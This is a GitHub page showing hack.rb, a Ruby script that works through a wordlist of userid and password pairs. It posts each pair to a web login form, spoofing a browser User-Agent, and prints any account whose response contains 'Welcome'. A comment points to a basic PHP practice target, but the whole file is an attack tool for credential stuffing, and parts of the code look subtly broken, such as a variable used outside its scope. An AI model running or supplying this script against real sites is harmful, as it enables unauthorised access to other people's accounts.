-
Notifications
You must be signed in to change notification settings - Fork 0
/
hack.rb
60 lines (46 loc) · 1.49 KB
/
hack.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
require 'net/http'
require 'uri'
# define target url, change as needed
url = URI("ip/question1/")
# define a fake headers to present ourself as Chromium browser, change if needed
headers = {
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)'
}
# define the string expected if valid account has been found. our basic PHP example replies with Welcome in case of success
valid = "Welcome"
def unpack(fline)
# get user
userid = fline.split(",")[1]
# if pass could contain a , we should need to handle this in another way
passwd = fline.split(",")[2]
return userid, passwd
end
def do_req(url, userid, passwd, headers)
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Post.new(url, headers)
request.set_form_data({'userid' => userid, 'passwd' => passwd, 'submit' => 'submit'})
response = http.request(request)
return response.body
end
def check(haystack, needle)
return haystack.include? needle
end
def main()
if ARGV.length > 0 && File.file?(ARGV[0])
fname = ARGV[0]
else
puts "[!] Please check wordlist."
puts "[-] Usage: ruby #{__FILE__} /path/to/wordlist"
exit
end
File.open(fname).each do |fline|
next if fline.start_with?("#")
userid, passwd = unpack(fline.chomp)
puts "[-] Checking account #{userid} #{passwd}"
res = do_req(url, userid, passwd, headers)
if check(res, valid)
puts "[+] Valid account found: userid:#{userid} passwd:#{passwd}"
end
end
end
main if __FILE__ == \$0